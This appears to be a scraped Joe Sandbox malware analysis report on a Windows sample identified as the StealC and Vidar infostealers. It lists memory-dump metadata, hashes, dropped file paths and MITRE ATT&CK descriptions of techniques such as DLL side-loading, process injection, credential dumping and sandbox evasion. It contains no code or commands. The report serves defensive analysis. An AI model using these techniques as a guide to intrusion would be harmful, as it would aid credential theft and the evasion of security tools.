Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 4410ebf8bfae794187f9d59c00fada35677f7d8e444761b49838cf53293f721d
Instruction ID: 8d616c482f0c5aa01fad011b8552a3db88005a38fa900e9560fce90275ddae9b
Opcode Fuzzy Hash: 4410ebf8bfae794187f9d59c00fada35677f7d8e444761b49838cf53293f721d
Instruction Fuzzy Hash: DBF0B4F17401026BEB109B65DC45E6773ECEF452A8B050434EC19C3A00D725F411C6E6

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
Tactics:	Persistence
Data Sources:	Command: Command Execution, Process: Process Creation, User Account: User Account Creation
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Protection of GUI

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BAAFBFBA

C:\ProgramData\DBGIJEHIIDGCFHIEGDGC

C:\ProgramData\DHDBGHCBAEGCBFHJEBFIEHCBFB

C:\ProgramData\EHIJDHCA

C:\ProgramData\JJECGHJDBFIJJJKEHCBF

C:\ProgramData\JKEBFBFIEHIDAAAAFHCFCGIECB

C:\ProgramData\KKJEBAAECBGDHIECAKJK

Windows Analysis Report
file.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre